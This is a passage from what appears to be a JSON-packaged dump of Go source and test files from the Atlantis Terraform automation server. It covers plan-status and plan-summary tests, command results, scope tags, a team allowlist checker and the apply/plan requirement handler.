models.ProjectPlanStatus\n\t}{\n\t\t{\n\t\t\tp: command.ProjectResult{\n\t\t\t\tCommand: command.Plan,\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tError: errors.New(\"err\"),\n\t\t\t\t},\n\t\t\t},\n\t\t\texpStatus: models.ErroredPlanStatus,\n\t\t},\n\t\t{\n\t\t\tp: command.ProjectResult{\n\t\t\t\tCommand: command.Plan,\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tFailure: \"failure\",\n\t\t\t\t},\n\t\t\t},\n\t\t\texpStatus: models.ErroredPlanStatus,\n\t\t},\n\t\t{\n\t\t\tp: command.ProjectResult{\n\t\t\t\tCommand: command.Plan,\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tPlanSuccess: &models.PlanSuccess{},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpStatus: models.PlannedPlanStatus,\n\t\t},\n\t\t{\n\t\t\tp: command.ProjectResult{\n\t\t\t\tCommand: command.Plan,\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\tTerraformOutput: \"No changes. Infrastructure is up-to-date.\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpStatus: models.PlannedNoChangesPlanStatus,\n\t\t},\n\t\t{\n\t\t\tp: command.ProjectResult{\n\t\t\t\tCommand: command.Apply,\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tError: errors.New(\"err\"),\n\t\t\t\t},\n\t\t\t},\n\t\t\texpStatus: models.ErroredApplyStatus,\n\t\t},\n\t\t{\n\t\t\tp: command.ProjectResult{\n\t\t\t\tCommand: command.Apply,\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tFailure: \"failure\",\n\t\t\t\t},\n\t\t\t},\n\t\t\texpStatus: models.ErroredApplyStatus,\n\t\t},\n\t\t{\n\t\t\tp: command.ProjectResult{\n\t\t\t\tCommand: command.Apply,\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tApplySuccess: \"success\",\n\t\t\t\t},\n\t\t\t},\n\t\t\texpStatus: models.AppliedPlanStatus,\n\t\t},\n\t\t{\n\t\t\tp: command.ProjectResult{\n\t\t\t\tCommand: command.PolicyCheck,\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tPolicyCheckResults: &models.PolicyCheckResults{},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpStatus: models.PassedPolicyCheckStatus,\n\t\t},\n\t\t{\n\t\t\tp: command.ProjectResult{\n\t\t\t\tCommand: command.PolicyCheck,\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tFailure: \"failure\",\n\t\t\t\t},\n\t\t\t},\n\t\t\texpStatus: models.ErroredPolicyCheckStatus,\n\t\t},\n\t\t{\n\t\t\tp: command.ProjectResult{\n\t\t\t\tCommand: command.ApprovePolicies,\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tPolicyCheckResults: &models.PolicyCheckResults{},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpStatus: models.PassedPolicyCheckStatus,\n\t\t},\n\t\t{\n\t\t\tp: command.ProjectResult{\n\t\t\t\tCommand: command.ApprovePolicies,\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tFailure: \"failure\",\n\t\t\t\t},\n\t\t\t},\n\t\t\texpStatus: models.ErroredPolicyCheckStatus,\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.expStatus.String(), func(t *testing.T) {\n\t\t\tEquals(t, c.expStatus, c.p.PlanStatus())\n\t\t})\n\t}\n}\n\nfunc TestPlanSuccess_Summary(t *testing.T) {\n\tcases := []struct {\n\t\tp         command.ProjectResult\n\t\texpResult string\n\t}{\n\t\t{\n\t\t\tp: command.ProjectResult{\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\tTerraformOutput: `\n\t\t\t\t\tAn execution plan has been generated and is shown below.\n\t\t\t\t\tResource actions are indicated with the following symbols:\n\t\t\t\t\t  - destroy\n\n\t\t\t\t\tTerraform will perform the following actions:\n\n\t\t\t\t\t  - null_resource.hi[1]\n\n\n\t\t\t\t\tPlan: 0 to add, 0 to change, 1 to destroy.`,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpResult: \"Plan: 0 to add, 0 to change, 1 to destroy.\",\n\t\t},\n\t\t{\n\t\t\tp: command.ProjectResult{\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\tTerraformOutput: `\n\t\t\t\t\tAn execution plan has been generated and is shown below.\n\t\t\t\t\tResource actions are indicated with the following symbols:\n\n\t\t\t\t\tNo changes. Infrastructure is up-to-date.`,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpResult: \"No changes. Infrastructure is up-to-date.\",\n\t\t},\n\t\t{\n\t\t\tp: command.ProjectResult{\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\tTerraformOutput: `\n\t\t\t\t\tNote: Objects have changed outside of Terraform\n\n\t\t\t\t\tTerraform detected the following changes made outside of Terraform since the\n\t\t\t\t\tlast \"terraform apply\":\n\n\t\t\t\t\tNo changes. Your infrastructure matches the configuration.`,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpResult: \"\\n**Note: Objects have changed outside of Terraform**\\nNo changes. Your infrastructure matches the configuration.\",\n\t\t},\n\t\t{\n\t\t\tp: command.ProjectResult{\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\tTerraformOutput: `\n\t\t\t\t\tNote: Objects have changed outside of Terraform\n\n\t\t\t\t\tTerraform detected the following changes made outside of Terraform since the\n\t\t\t\t\tlast \"terraform apply\":\n\n\t\t\t\t\tAn execution plan has been generated and is shown below.\n\t\t\t\t\tResource actions are indicated with the following symbols:\n\t\t\t\t\t  - destroy\n\n\t\t\t\t\tTerraform will perform the following actions:\n\n\t\t\t\t\t  - null_resource.hi[1]\n\n\n\t\t\t\t\tPlan: 0 to add, 0 to change, 1 to destroy.`,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpResult: \"\\n**Note: Objects have changed outside of Terraform**\\nPlan: 0 to add, 0 to change, 1 to destroy.\",\n\t\t},\n\t\t{\n\t\t\tp: command.ProjectResult{\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\tTerraformOutput: `No match, expect empty`,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpResult: \"\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.expResult, func(t *testing.T) {\n\t\t\tEquals(t, c.expResult, c.p.PlanSuccess.Summary())\n\t\t})\n\t}\n}\n\nvar Summary string\n\nfunc BenchmarkPlanSuccess_Summary(b *testing.B) {\n\tvar s string\n\n\tfixtures := map[string]string{\n\t\t\"changes\": `\n\t\t\t\t\tAn execution plan has been generated and is shown below.\n\t\t\t\t\tResource actions are indicated with the following symbols:\n\t\t\t\t\t  - destroy\n\n\t\t\t\t\tTerraform will perform the following actions:\n\n\t\t\t\t\t  - null_resource.hi[1]\n\n\n\t\t\t\t\tPlan: 0 to add, 0 to change, 1 to destroy.`,\n\t\t\"no changes\": `\n\t\t\t\t\tAn execution plan has been generated and is shown below.\n\t\t\t\t\tResource actions are indicated with the following symbols:\n\n\t\t\t\t\tNo changes. Infrastructure is up-to-date.`,\n\t\t\"changes outside Terraform\": `\n\t\t\t\t\tNote: Objects have changed outside of Terraform\n\n\t\t\t\t\tTerraform detected the following changes made outside of Terraform since the\n\t\t\t\t\tlast \"terraform apply\":\n\n\t\t\t\t\tNo changes. Your infrastructure matches the configuration.`,\n\t\t\"changes and changes outside\": `\n\t\t\t\t\tNote: Objects have changed outside of Terraform\n\n\t\t\t\t\tTerraform detected the following changes made outside of Terraform since the\n\t\t\t\t\tlast \"terraform apply\":\n\n\t\t\t\t\tAn execution plan has been generated and is shown below.\n\t\t\t\t\tResource actions are indicated with the following symbols:\n\t\t\t\t\t  - destroy\n\n\t\t\t\t\tTerraform will perform the following actions:\n\n\t\t\t\t\t  - null_resource.hi[1]\n\n\n\t\t\t\t\tPlan: 0 to add, 0 to change, 1 to destroy.`,\n\t\t\"empty summary, no matches\": `No match, expect empty`,\n\t}\n\n\tfor name, output := range fixtures {\n\t\tp := &models.PlanSuccess{\n\t\t\tTerraformOutput: output,\n\t\t}\n\n\t\tb.Run(name, func(b *testing.B) {\n\t\t\tb.ReportAllocs()\n\t\t\tfor i := 0; i < b.N; i++ {\n\t\t\t\ts = p.Summary()\n\t\t\t}\n\n\t\t\tSummary = s\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "server/events/command/result.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage command\n\n// Result is the result of running a Command.\ntype Result struct {\n\tError          error\n\tFailure        string\n\tProjectResults []ProjectResult\n\t// PlansDeleted is true if all plans created during this command were\n\t// deleted. This happens if automerging is enabled and one project has an\n\t// error since automerging requires all plans to succeed.\n\tPlansDeleted bool\n}\n\n// HasErrors returns true if there were any errors during the execution,\n// even if it was only in one project.\nfunc (c Result) HasErrors() bool {\n\tif c.Error != nil || c.Failure != \"\" {\n\t\treturn true\n\t}\n\tfor _, r := range c.ProjectResults {\n\t\tif !r.IsSuccessful() {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n"
  },
  {
    "path": "server/events/command/result_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage command_test\n\nimport (\n\t\"errors\"\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestCommandResult_HasErrors(t *testing.T) {\n\tcases := map[string]struct {\n\t\tcr  command.Result\n\t\texp bool\n\t}{\n\t\t\"error\": {\n\t\t\tcr: command.Result{\n\t\t\t\tError: errors.New(\"err\"),\n\t\t\t},\n\t\t\texp: true,\n\t\t},\n\t\t\"failure\": {\n\t\t\tcr: command.Result{\n\t\t\t\tFailure: \"failure\",\n\t\t\t},\n\t\t\texp: true,\n\t\t},\n\t\t\"empty results list\": {\n\t\t\tcr: command.Result{\n\t\t\t\tProjectResults: []command.ProjectResult{},\n\t\t\t},\n\t\t\texp: false,\n\t\t},\n\t\t\"successful plan\": {\n\t\t\tcr: command.Result{\n\t\t\t\tProjectResults: []command.ProjectResult{\n\t\t\t\t\t{\n\t\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\t\tPlanSuccess: &models.PlanSuccess{},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texp: false,\n\t\t},\n\t\t\"successful apply\": {\n\t\t\tcr: command.Result{\n\t\t\t\tProjectResults: []command.ProjectResult{\n\t\t\t\t\t{\n\t\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\t\tApplySuccess: \"success\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texp: false,\n\t\t},\n\t\t\"single errored project\": {\n\t\t\tcr: command.Result{\n\t\t\t\tProjectResults: []command.ProjectResult{\n\t\t\t\t\t{\n\t\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\t\tError: errors.New(\"err\"),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texp: true,\n\t\t},\n\t\t\"single failed project\": {\n\t\t\tcr: command.Result{\n\t\t\t\tProjectResults: []command.ProjectResult{\n\t\t\t\t\t{\n\t\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\t\tFailure: \"failure\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texp: true,\n\t\t},\n\t\t\"two successful projects\": {\n\t\t\tcr: command.Result{\n\t\t\t\tProjectResults: []command.ProjectResult{\n\t\t\t\t\t{\n\t\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\t\tPlanSuccess: &models.PlanSuccess{},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\t\tApplySuccess: \"success\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texp: false,\n\t\t},\n\t\t\"one successful, one failed project\": {\n\t\t\tcr: command.Result{\n\t\t\t\tProjectResults: []command.ProjectResult{\n\t\t\t\t\t{\n\t\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\t\tPlanSuccess: &models.PlanSuccess{},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\t\tFailure: \"failed\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texp: true,\n\t\t},\n\t}\n\n\tfor descrip, c := range cases {\n\t\tt.Run(descrip, func(t *testing.T) {\n\t\t\tEquals(t, c.exp, c.cr.HasErrors())\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "server/events/command/scope_tags.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage command\n\nimport (\n\t\"reflect\"\n\t\"regexp\"\n\t\"strings\"\n)\n\ntype ProjectScopeTags struct {\n\tBaseRepo              string\n\tPrNumber              string\n\tProject               string\n\tProjectPath           string\n\tTerraformDistribution string\n\tTerraformVersion      string\n\tWorkspace             string\n}\n\nfunc (s ProjectScopeTags) Loadtags() map[string]string {\n\ttags := make(map[string]string)\n\n\tv := reflect.ValueOf(s)\n\tt := v.Type()\n\n\tfor i := 0; i < v.NumField(); i++ {\n\t\ttags[toSnakeCase(t.Field(i).Name)] = v.Field(i).String()\n\t}\n\n\treturn tags\n}\n\nfunc toSnakeCase(str string) string {\n\tvar matchFirstCap = regexp.MustCompile(\"(.)([A-Z][a-z]+)\")\n\tvar matchAllCap = regexp.MustCompile(\"([a-z0-9])([A-Z])\")\n\n\tsnake := matchFirstCap.ReplaceAllString(str, \"${1}_${2}\")\n\tsnake = matchAllCap.ReplaceAllString(snake, \"${1}_${2}\")\n\treturn strings.ToLower(snake)\n}\n"
  },
  {
    "path": "server/events/command/team_allowlist_checker.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage command\n\nimport (\n\t\"strings\"\n\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n)\n\n// Wildcard matches all teams and all commands\nconst wildcard = \"*\"\n\n// mapOfStrings is an alias for map[string]string\ntype mapOfStrings map[string]string\n\ntype TeamAllowlistChecker interface {\n\t// HasRules returns true if the checker has rules defined\n\tHasRules() bool\n\n\t// IsCommandAllowedForTeam determines if the specified team can perform the specified action\n\tIsCommandAllowedForTeam(ctx models.TeamAllowlistCheckerContext, team, command string) bool\n\n\t// IsCommandAllowedForAnyTeam determines if any of the specified teams can perform the specified action\n\tIsCommandAllowedForAnyTeam(ctx models.TeamAllowlistCheckerContext, teams []string, command string) bool\n\n\t// AllTeams returns all teams configured in the allowlist\n\tAllTeams() []string\n}\n\n// DefaultTeamAllowlistChecker implements checking the teams and the operations that the members\n// of a particular team are allowed to perform\ntype DefaultTeamAllowlistChecker struct {\n\trules []mapOfStrings\n}\n\n// NewTeamAllowlistChecker constructs a new checker\nfunc NewTeamAllowlistChecker(allowlist string) (*DefaultTeamAllowlistChecker, error) {\n\tvar rules []mapOfStrings\n\tpairs := strings.Split(allowlist, \",\")\n\tif pairs[0] != \"\" {\n\t\tfor _, pair := range pairs {\n\t\t\tvalues := strings.Split(pair, \":\")\n\t\t\tteam := strings.TrimSpace(values[0])\n\t\t\tcommand := strings.TrimSpace(values[1])\n\t\t\tm := mapOfStrings{team: command}\n\t\t\trules = append(rules, m)\n\t\t}\n\t}\n\treturn &DefaultTeamAllowlistChecker{\n\t\trules: rules,\n\t}, nil\n}\n\nfunc (checker *DefaultTeamAllowlistChecker) HasRules() bool {\n\treturn len(checker.rules) > 0\n}\n\n// IsCommandAllowedForTeam returns true if the team is allowed to execute the command\n// and false otherwise.\nfunc (checker *DefaultTeamAllowlistChecker) IsCommandAllowedForTeam(_ models.TeamAllowlistCheckerContext, team string, command string) bool {\n\tfor _, rule := range checker.rules {\n\t\tfor key, value := range rule {\n\t\t\tif (key == wildcard || strings.EqualFold(key, team)) && (value == wildcard || strings.EqualFold(value, command)) {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\treturn false\n}\n\n// IsCommandAllowedForAnyTeam returns true if any of the teams is allowed to execute the command\n// and false otherwise.\nfunc (checker *DefaultTeamAllowlistChecker) IsCommandAllowedForAnyTeam(ctx models.TeamAllowlistCheckerContext, teams []string, command string) bool {\n\tif len(teams) == 0 {\n\t\tfor _, rule := range checker.rules {\n\t\t\tfor key, value := range rule {\n\t\t\t\tif (key == wildcard) && (value == wildcard || strings.EqualFold(value, command)) {\n\t\t\t\t\treturn true\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t} else {\n\t\tfor _, t := range teams {\n\t\t\tif checker.IsCommandAllowedForTeam(ctx, t, command) {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\treturn false\n}\n\n// AllTeams returns all teams configured in the allowlist\nfunc (checker *DefaultTeamAllowlistChecker) AllTeams() []string {\n\tvar teamNames []string\n\tfor _, rule := range checker.rules {\n\t\tfor key := range rule {\n\t\t\tteamNames = append(teamNames, key)\n\t\t}\n\t}\n\treturn teamNames\n}\n"
  },
  {
    "path": "server/events/command/team_allowlist_checker_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage command_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestNewTeamAllowListChecker(t *testing.T) {\n\tallowlist := `bob:plan, dave:apply`\n\t_, err := command.NewTeamAllowlistChecker(allowlist)\n\tOk(t, err)\n}\n\nfunc TestNewTeamAllowListCheckerEmpty(t *testing.T) {\n\tallowlist := ``\n\tchecker, err := command.NewTeamAllowlistChecker(allowlist)\n\tOk(t, err)\n\tEquals(t, false, checker.HasRules())\n}\n\nfunc TestIsCommandAllowedForTeam(t *testing.T) {\n\tallowlist := `bob:plan, dave:apply, connie:plan, connie:apply`\n\tchecker, err := command.NewTeamAllowlistChecker(allowlist)\n\tOk(t, err)\n\tEquals(t, true, checker.IsCommandAllowedForTeam(models.TeamAllowlistCheckerContext{}, \"connie\", \"plan\"))\n\tEquals(t, true, checker.IsCommandAllowedForTeam(models.TeamAllowlistCheckerContext{}, \"connie\", \"apply\"))\n\tEquals(t, true, checker.IsCommandAllowedForTeam(models.TeamAllowlistCheckerContext{}, \"dave\", \"apply\"))\n\tEquals(t, true, checker.IsCommandAllowedForTeam(models.TeamAllowlistCheckerContext{}, \"bob\", \"plan\"))\n\tEquals(t, false, checker.IsCommandAllowedForTeam(models.TeamAllowlistCheckerContext{}, \"bob\", \"apply\"))\n}\n\nfunc TestIsCommandAllowedForAnyTeam(t *testing.T) {\n\tallowlist := `alpha:plan,beta:release,*:unlock,nobody:*`\n\tteams := []string{`alpha`, `beta`}\n\tchecker, err := command.NewTeamAllowlistChecker(allowlist)\n\tOk(t, err)\n\tEquals(t, true, checker.IsCommandAllowedForAnyTeam(models.TeamAllowlistCheckerContext{}, teams, `plan`))\n\tEquals(t, true, checker.IsCommandAllowedForAnyTeam(models.TeamAllowlistCheckerContext{}, teams, `release`))\n\tEquals(t, true, checker.IsCommandAllowedForAnyTeam(models.TeamAllowlistCheckerContext{}, teams, `unlock`))\n\tEquals(t, false, checker.IsCommandAllowedForAnyTeam(models.TeamAllowlistCheckerContext{}, teams, `noop`))\n}\n"
  },
  {
    "path": "server/events/command_requirement_handler.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/runatlantis/atlantis/server/core/config/raw\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n)\n\n//go:generate pegomock generate --package mocks -o mocks/mock_command_requirement_handler.go CommandRequirementHandler\ntype CommandRequirementHandler interface {\n\tValidateProjectDependencies(ctx command.ProjectContext) (string, error)\n\tValidatePlanProject(repoDir string, ctx command.ProjectContext) (string, error)\n\tValidateApplyProject(repoDir string, ctx command.ProjectContext) (string, error)\n\tValidateImportProject(repoDir string, ctx command.ProjectContext) (string, error)\n}\n\ntype DefaultCommandRequirementHandler struct {\n\tWorkingDir WorkingDir\n}\n\nfunc (a *DefaultCommandRequirementHandler) ValidateProjectDependencies(ctx command.ProjectContext) (failure string, err error) {\n\tfor _, dependOnProject := range ctx.DependsOn {\n\n\t\tfor _, project := range ctx.PullStatus.Projects {\n\n\t\t\tif project.ProjectName == dependOnProject && project.Status != models.AppliedPlanStatus && project.Status != models.PlannedNoChangesPlanStatus {\n\t\t\t\treturn fmt.Sprintf(\"Can't apply your project unless you apply its dependencies: [%s]\", project.ProjectName), nil\n\t\t\t}\n\t\t}\n\t}\n\n\treturn \"\", nil\n}\n\nfunc (a *DefaultCommandRequirementHandler) ValidatePlanProject(repoDir string, ctx command.ProjectContext) (failure string, err error) {\n\treturn a.validateCommandRequirement(repoDir, ctx, command.Plan, ctx.PlanRequirements)\n}\n\nfunc (a *DefaultCommandRequirementHandler) ValidateApplyProject(repoDir string, ctx command.ProjectContext) (failure string, err error) {\n\treturn a.validateCommandRequirement(repoDir, ctx, command.Apply, ctx.ApplyRequirements)\n}\n\nfunc (a *DefaultCommandRequirementHandler) ValidateImportProject(repoDir string, ctx command.ProjectContext) (failure string, err error) {\n\treturn a.validateCommandRequirement(repoDir, ctx, command.Import, ctx.ImportRequirements)\n}\n\nfunc (a *DefaultCommandRequirementHandler) validateCommandRequirement(repoDir string, ctx command.ProjectContext, cmd command.Name, requirements []string) (failure string, err error) {\n\tfor _, req := range requirements {\n\t\tswitch req {\n\t\tcase raw.ApprovedRequirement:\n\t\t\tif !ctx.PullReqStatus.ApprovalStatus.IsApproved {\n\t\t\t\treturn fmt.Sprintf(\"Pull request must be approved according to the project's approval rules before running %s.\", cmd), nil\n\t\t\t}\n\t\t// this should come before mergeability check since mergeability is a superset of this check.\n\t\tcase valid.PoliciesPassedCommandReq:\n\t\t\t// We should rely on this function instead of plan status, since plan status after a failed apply will not carry the policy error over.\n\t\t\tif !ctx.PolicyCleared() {\n\t\t\t\treturn fmt.Sprintf(\"All policies must pass for project before running %s.\", cmd), nil\n\t\t\t}\n\t\tcase raw.MergeableRequirement:\n\t\t\tif !ctx.PullReqStatus.MergeableStatus.IsMergeable {\n\t\t\t\tsuffix := \"\"\n\t\t\t\tif ctx.PullReqStatus.MergeableStatus.Reason != \"\" {\n\t\t\t\t\tsuffix = fmt.Sprintf(\" (%s)\", ctx.PullReqStatus.MergeableStatus.Reason)\n\t\t\t\t}\n\t\t\t\treturn fmt.Sprintf(\"Pull request must be mergeable before running %s%s.\", cmd, suffix), nil\n\t\t\t}\n\t\tcase raw.UnDivergedRequirement:\n\t\t\tif a.WorkingDir.HasDiverged(ctx.Log, repoDir) {\n\t\t\t\treturn fmt.Sprintf(\"Default branch must be rebased onto pull request before running %s.\", cmd), nil\n\t\t\t}\n\t\t}\n\t}\n\t// Passed all requirements configured.\n\treturn \"\", nil\n}\n"
  },
  {
    "path": "server/events/command_requirement_handler_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events_test\n\nimport (\n\t\"fmt\"\n\t\"testing\"\n\n\t. \"github.com/petergtz/pegomock/v4\"\n\t\"github.com/runatlantis/atlantis/server/core/config/raw\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t\"github.com/runatlantis/atlantis/server/events\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/mocks\"\n\t\"github.com/stretchr/testify/assert\"\n)\n\nfunc TestAggregateApplyRequirements_ValidatePlanProject(t *testing.T) {\n\trepoDir := \"repoDir\"\n\tfullRequirements := []string{\n\t\traw.ApprovedRequirement,\n\t\tvalid.PoliciesPassedCommandReq,\n\t\traw.MergeableRequirement,\n\t\traw.UnDivergedRequirement,\n\t}\n\ttests := []struct {\n\t\tname        string\n\t\tctx         command.ProjectContext\n\t\tsetup       func(workingDir *mocks.MockWorkingDir)\n\t\twantFailure string\n\t\twantErr     assert.ErrorAssertionFunc\n\t}{\n\t\t{\n\t\t\tname:    \"pass no requirements\",\n\t\t\tctx:     command.ProjectContext{},\n\t\t\twantErr: assert.NoError,\n\t\t},\n\t\t{\n\t\t\tname: \"pass full requirements\",\n\t\t\tctx: command.ProjectContext{\n\t\t\t\tPlanRequirements: fullRequirements,\n\t\t\t\tPullReqStatus: models.PullReqStatus{\n\t\t\t\t\tApprovalStatus:  models.ApprovalStatus{IsApproved: true},\n\t\t\t\t\tMergeableStatus: models.MergeableStatus{IsMergeable: true},\n\t\t\t\t},\n\t\t\t\tProjectPlanStatus: models.PassedPolicyCheckStatus,\n\t\t\t},\n\t\t\tsetup: func(workingDir *mocks.MockWorkingDir) {\n\t\t\t\tWhen(workingDir.HasDiverged(Any[logging.SimpleLogging](), Any[string]())).ThenReturn(false)\n\t\t\t},\n\t\t\twantErr: assert.NoError,\n\t\t},\n\t\t{\n\t\t\tname: \"fail by no approved\",\n\t\t\tctx: command.ProjectContext{\n\t\t\t\tPlanRequirements: []string{raw.ApprovedRequirement},\n\t\t\t\tPullReqStatus: models.PullReqStatus{\n\t\t\t\t\tApprovalStatus: models.ApprovalStatus{IsApproved: false},\n\t\t\t\t},\n\t\t\t},\n\t\t\twantFailure: \"Pull request must be approved according to the project's approval rules before running plan.\",\n\t\t\twantErr:     assert.NoError,\n\t\t},\n\t\t{\n\t\t\tname: \"fail by no mergeable\",\n\t\t\tctx: command.ProjectContext{\n\t\t\t\tPlanRequirements: []string{raw.MergeableRequirement},\n\t\t\t\tPullReqStatus: models.PullReqStatus{\n\t\t\t\t\tMergeableStatus: models.MergeableStatus{IsMergeable: false},\n\t\t\t\t},\n\t\t\t},\n\t\t\twantFailure: \"Pull request must be mergeable before running plan.\",\n\t\t\twantErr:     assert.NoError,\n\t\t},\n\t\t{\n\t\t\tname: \"fail by no mergeable with reason\",\n\t\t\tctx: command.ProjectContext{\n\t\t\t\tPlanRequirements: []string{raw.MergeableRequirement},\n\t\t\t\tPullReqStatus: models.PullReqStatus{\n\t\t\t\t\tMergeableStatus: models.MergeableStatus{\n\t\t\t\t\t\tIsMergeable: false,\n\t\t\t\t\t\tReason:      \"some reason\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\twantFailure: \"Pull request must be mergeable before running plan (some reason).\",\n\t\t\twantErr:     assert.NoError,\n\t\t},\n\t\t{\n\t\t\tname: \"fail by diverged\",\n\t\t\tctx: command.ProjectContext{\n\t\t\t\tPlanRequirements: []string{raw.UnDivergedRequirement},\n\t\t\t},\n\t\t\tsetup: func(workingDir *mocks.MockWorkingDir) {\n\t\t\t\tWhen(workingDir.HasDiverged(Any[logging.SimpleLogging](), Any[string]())).ThenReturn(true)\n\t\t\t},\n\t\t\twantFailure: \"Default branch must be rebased onto pull request before running plan.\",\n\t\t\twantErr:     assert.NoError,\n\t\t},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tRegisterMockTestingT(t)\n\t\t\tworkingDir := mocks.NewMockWorkingDir()\n\t\t\ta := &events.DefaultCommandRequirementHandler{WorkingDir: workingDir}\n\t\t\tif tt.setup != nil {\n\t\t\t\ttt.setup(workingDir)\n\t\t\t}\n\t\t\tgotFailure, err := a.ValidatePlanProject(repoDir, tt.ctx)\n\t\t\tif !tt.wantErr(t, err, fmt.Sprintf(\"ValidatePlanProject(%v, %v)\", repoDir, tt.ctx)) {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tassert.Equalf(t, tt.wantFailure, gotFailure, \"ValidatePlanProject(%v, %v)\", repoDir, tt.ctx)\n\t\t})\n\t}\n}\n\nfunc TestAggregateApplyRequirements_ValidateApplyProject(t *testing.T) 